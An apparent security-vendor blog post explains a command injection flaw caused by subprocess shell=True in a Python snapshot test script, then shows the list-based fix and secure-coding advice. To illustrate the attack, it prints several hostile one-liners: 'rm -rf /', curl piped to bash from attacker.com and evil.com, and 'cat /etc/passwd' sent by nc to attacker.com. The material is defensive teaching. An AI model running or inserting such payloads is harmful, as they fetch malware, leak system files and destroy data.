Back to Blog
critical SEVERITY7 min read

Critical Command Injection Fixed in Python Test Script

A critical command injection vulnerability was discovered in a Python snapshot testing script that used subprocess.call() with shell=True, allowing potential execution of arbitrary shell commands. This vulnerability highlights the dangers of passing unsanitized input to shell interpreters and demonstrates why shell=True should be avoided in subprocess calls.

O
By Orbis AppSec
Published April 13, 2026Reviewed June 3, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Python snapshot testing script that used `subprocess.call()` with `shell=True`. When `shell=True` is set, Python passes the command string to the system shell (`/bin/sh`), which interprets shell metacharacters like `;`, `|`, and `$()`. An attacker who can influence any part of the command string can inject arbitrary shell commands. The fix is to remove `shell=True` and pass the command as a list of arguments instead, bypassing the shell interpreter entirely.

Vulnerability at a Glance

cweCWE-78
fixRemove shell=True and pass command arguments as a list to bypass shell interpretation
riskArbitrary shell command execution on the host system
languagePython
root causesubprocess.call() invoked with shell=True, passing unsanitized input to /bin/sh
vulnerabilityCommand Injection via subprocess.call() with shell=True

Introduction

Command injection vulnerabilities remain one of the most dangerous security flaws in modern applications. Despite being well-documented and preventable, they continue to appear in codebases, often in seemingly innocuous places like test scripts. Recently, a critical severity command injection vulnerability (V-001) was discovered and fixed in a Python snapshot generation script, serving as an important reminder about the risks of shell command execution.

This vulnerability affected tests/snapshots/generate_snapshots.py, where subprocess calls were being executed through the system shell without proper input sanitization. While test scripts might seem like low-risk targets, they're often executed in CI/CD pipelines with elevated privileges, making them attractive targets for supply chain attacks.

The Vulnerability Explained

What is Command Injection?

Command injection occurs when an application passes unsanitized data to a system shell interpreter. The shell then executes this data as commands, potentially allowing attackers to run arbitrary code on the system. This vulnerability is particularly severe because it can lead to:

  • Complete system compromise - Attackers can execute any command the application has permissions for
  • Data exfiltration - Sensitive data can be stolen from the filesystem or environment
  • Lateral movement - Compromised systems can be used as pivot points to attack other systems
  • Supply chain attacks - Malicious code can be injected into build processes

The Technical Details

The vulnerability existed at line 32 of generate_snapshots.py, where the code used Python's subprocess.call() function with the dangerous shell=True parameter:

# VULNERABLE CODE (Before Fix)
subprocess.call(command, shell=True)

When shell=True is set, Python doesn't execute the command directly. Instead, it passes the entire command string to the system shell (/bin/sh on Unix, cmd.exe on Windows), which interprets special characters and operators.

How Could It Be Exploited?

Consider if the command variable was constructed using external input:

# Example vulnerable scenario
filename = get_user_input()  # Could come from config, env vars, or CLI args
command = f"generate_snapshot --file {filename}"
subprocess.call(command, shell=True)

An attacker could inject shell metacharacters to execute arbitrary commands:

# Malicious input
filename = "test.txt; rm -rf / #"

# Resulting command executed by shell
"generate_snapshot --file test.txt; rm -rf / #"

The shell would interpret this as three separate operations:
1. generate_snapshot --file test.txt - The intended command
2. rm -rf / - A destructive command to delete files
3. # - Comments out the rest (if any)

Real-World Attack Scenarios

Scenario 1: CI/CD Pipeline Compromise

# Attacker modifies a configuration file in a pull request
config.yml: 
  snapshot_name: "test; curl attacker.com/malware.sh | bash #"

# When CI runs the test script, it executes the malicious payload

Scenario 2: Environment Variable Poisoning

# Script reads from environment variable
command = f"snapshot {os.environ.get('SNAPSHOT_TYPE', 'default')}"
subprocess.call(command, shell=True)

# Attacker sets environment variable
export SNAPSHOT_TYPE="default; cat /etc/passwd | nc attacker.com 4444 #"

Scenario 3: Configuration File Injection

# Reading snapshot targets from a JSON config
with open('snapshot_config.json') as f:
    targets = json.load(f)['targets']

for target in targets:
    command = f"generate_snapshot --target {target}"
    subprocess.call(command, shell=True)  # VULNERABLE!

The Fix

What Changed?

The fix involves removing shell=True and properly sanitizing any subprocess calls. There are several secure approaches:

Option 1: Use shell=False with a list (RECOMMENDED)

# SECURE CODE (After Fix)
# Pass command as a list, not a string
subprocess.call(['generate_snapshot', '--file', filename])

When you pass a list to subprocess.call() without shell=True, Python executes the command directly without invoking a shell interpreter. This means:
- Shell metacharacters (; | & $ ( ) < > etc.) are treated as literal strings
- No command substitution or variable expansion occurs
- Each list element is treated as a separate argument

Option 2: Use shlex.quote() for shell=True cases

# If shell=True is absolutely necessary
import shlex

filename = shlex.quote(user_input)
command = f"generate_snapshot --file {filename}"
subprocess.call(command, shell=True)

Option 3: Use subprocess.run() with modern Python

# Python 3.5+ recommended approach
import subprocess

result = subprocess.run(
    ['generate_snapshot', '--file', filename],
    capture_output=True,
    text=True,
    check=True  # Raises exception on non-zero exit
)

How Does This Solve the Problem?

By removing shell=True and using a list of arguments, the fix ensures that:

  1. No shell interpretation occurs - Arguments are passed directly to the program
  2. Metacharacters are neutralized - Special characters are treated as literal data
  3. Command boundaries are preserved - It's impossible to chain multiple commands
  4. Injection is prevented - Even malicious input can't escape the argument context

Before and After Comparison

# ❌ BEFORE (Vulnerable)
def generate_snapshot(snapshot_type):
    command = f"python generate.py --type {snapshot_type}"
    subprocess.call(command, shell=True)

# Attack vector:
generate_snapshot("test; curl evil.com/backdoor.sh | bash")
# Executes: python generate.py --type test; curl evil.com/backdoor.sh | bash

# ✅ AFTER (Secure)
def generate_snapshot(snapshot_type):
    subprocess.call(['python', 'generate.py', '--type', snapshot_type])

# Same attack attempt:
generate_snapshot("test; curl evil.com/backdoor.sh | bash")
# Executes: python generate.py --type "test; curl evil.com/backdoor.sh | bash"
# The malicious payload is treated as a literal filename, causing the script to fail safely

Prevention & Best Practices

1. Never Use shell=True Unless Absolutely Necessary

The default shell=False is secure by design. Only use shell=True when you genuinely need shell features like:
- Wildcards (*.txt)
- Pipes (cmd1 | cmd2)
- Environment variable expansion ($HOME)

Even then, consider if there's a safer Python-native alternative.

2. Always Sanitize External Input

If you must use shell=True, sanitize all inputs:

import shlex
import subprocess

def safe_shell_command(user_input):
    # Properly quote the input
    safe_input = shlex.quote(user_input)
    command = f"echo {safe_input}"
    subprocess.call(command, shell=True)

3. Use subprocess.run() with Modern Python

Python 3.5+ offers subprocess.run(), which provides better error handling and security:

import subprocess

try:
    result = subprocess.run(
        ['command', 'arg1', 'arg2'],
        capture_output=True,
        text=True,
        timeout=30,  # Prevent hanging
        check=True   # Raise exception on failure
    )
    print(result.stdout)
except subprocess.CalledProcessError as e:
    print(f"Command failed: {e}")
except subprocess.TimeoutExpired:
    print("Command timed out")

4. Implement Input Validation

Always validate input against expected patterns:

import re

def validate_snapshot_name(name):
    # Only allow alphanumeric, dash, and underscore
    if not re.match(r'^[a-zA-Z0-9_-]+$', name):
        raise ValueError("Invalid snapshot name")
    return name

# Use it
snapshot_name = validate_snapshot_name(user_input)
subprocess.call(['generate_snapshot', snapshot_name])

5. Apply Principle of Least Privilege

Run subprocess commands with minimal permissions:

import subprocess
import os

# Drop privileges before executing
def run_as_limited_user(command):
    # On Unix systems
    def demote(user_uid, user_gid):
        def set_ids():
            os.setgid(user_gid)
            os.setuid(user_uid)
        return set_ids

    subprocess.call(
        command,
        preexec_fn=demote(1000, 1000)  # Run as specific user
    )

6. Use Static Analysis Tools

Leverage security scanners to catch these issues early:

  • Bandit - Python security linter
    bash pip install bandit bandit -r your_project/

  • Semgrep - Pattern-based code scanner
    bash semgrep --config=auto your_project/

  • CodeQL - GitHub's semantic code analysis

7. Security Standards & References

This vulnerability maps to several security frameworks:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP Top 10 2021: A03:2021 – Injection
  • MITRE ATT&CK: T1059 - Command and Scripting Interpreter
  • SANS Top 25: CWE-78 ranks in the most dangerous software errors

8. Code Review Checklist

When reviewing code, watch for these patterns:

# 🚨 RED FLAGS
subprocess.call(anything, shell=True)
subprocess.Popen(anything, shell=True)
os.system(user_controlled_data)
eval(user_input)
exec(user_input)

# ✅ SAFE PATTERNS
subprocess.call(['command', 'arg'])
subprocess.run(['command', 'arg'], check=True)
shlex.split(command)  # If you must parse shell commands

9. Testing for Command Injection

Include security tests in your test suite:

import pytest
import subprocess

def test_command_injection_prevention():
    """Ensure command injection is prevented"""
    malicious_input = "test; rm -rf /"

    # This should NOT execute the rm command
    result = subprocess.run(
        ['echo', malicious_input],
        capture_output=True,
        text=True
    )

    # The malicious string should be echoed as-is, not executed
    assert malicious_input in result.stdout
    assert result.returncode == 0

def test_shell_metacharacters():
    """Test that shell metacharacters are neutralized"""
    dangerous_chars = [';', '|', '&', '$', '`', '(', ')', '<', '>']

    for char in dangerous_chars:
        test_input = f"test{char}echo hacked"
        result = subprocess.run(
            ['echo', test_input],
            capture_output=True,
            text=True
        )
        # Should echo the literal string, not execute commands
        assert test_input in result.stdout

Conclusion

The fix for V-001 demonstrates a crucial security principle: never trust data that crosses a security boundary. Even in test scripts that seem isolated from user input, external data can enter through environment variables, configuration files, or command-line arguments.

Key Takeaways

  1. Default to shell=False: Use subprocess.call(['cmd', 'arg']) instead of subprocess.call('cmd arg', shell=True)
  2. Validate all inputs: Even "internal" data sources can be compromised
  3. Use modern APIs: subprocess.run() offers better security and error handling
  4. Automate detection: Integrate security scanners into your CI/CD pipeline
  5. Think like an attacker: Consider how each input could be manipulated

Command injection vulnerabilities are entirely preventable with proper coding practices. By understanding the risks and following secure coding guidelines, we can eliminate this entire class of vulnerabilities from our applications.

Remember: security isn't just about protecting production code—test scripts, build tools, and development utilities are all part of your attack surface. Treat them with the same security rigor as your main application code.

Stay secure, and always question whether that shell=True is really necessary!


For more information on secure subprocess usage, consult the Python subprocess documentation and OWASP Command Injection Prevention Cheat Sheet.

Frequently Asked Questions

What is command injection?

Command injection (CWE-78) occurs when untrusted data is passed to a system shell interpreter, allowing an attacker to append or substitute their own shell commands. In Python, this most commonly happens when subprocess functions are called with shell=True and user-controlled strings.

How do you prevent command injection in Python?

Pass commands as a list of arguments to subprocess functions and never use shell=True with unsanitized input. Use subprocess.run(['cmd', 'arg1', 'arg2']) instead of subprocess.run('cmd arg1 arg2', shell=True). This bypasses the shell entirely, so metacharacters like ; and | are treated as literal strings.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection in Python?

Input validation helps but is not sufficient on its own. Allowlists, escaping, and validation can all have gaps. The most reliable fix is to avoid shell=True altogether and use list-based subprocess calls, which never invoke a shell interpreter regardless of the input content.

Can static analysis detect command injection in Python?

Yes. Static analysis tools like Semgrep, Bandit, and CodeQL have rules specifically targeting subprocess calls with shell=True and can flag tainted data flowing into shell-interpreted commands. Orbis AppSec detected this exact pattern automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #3688

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.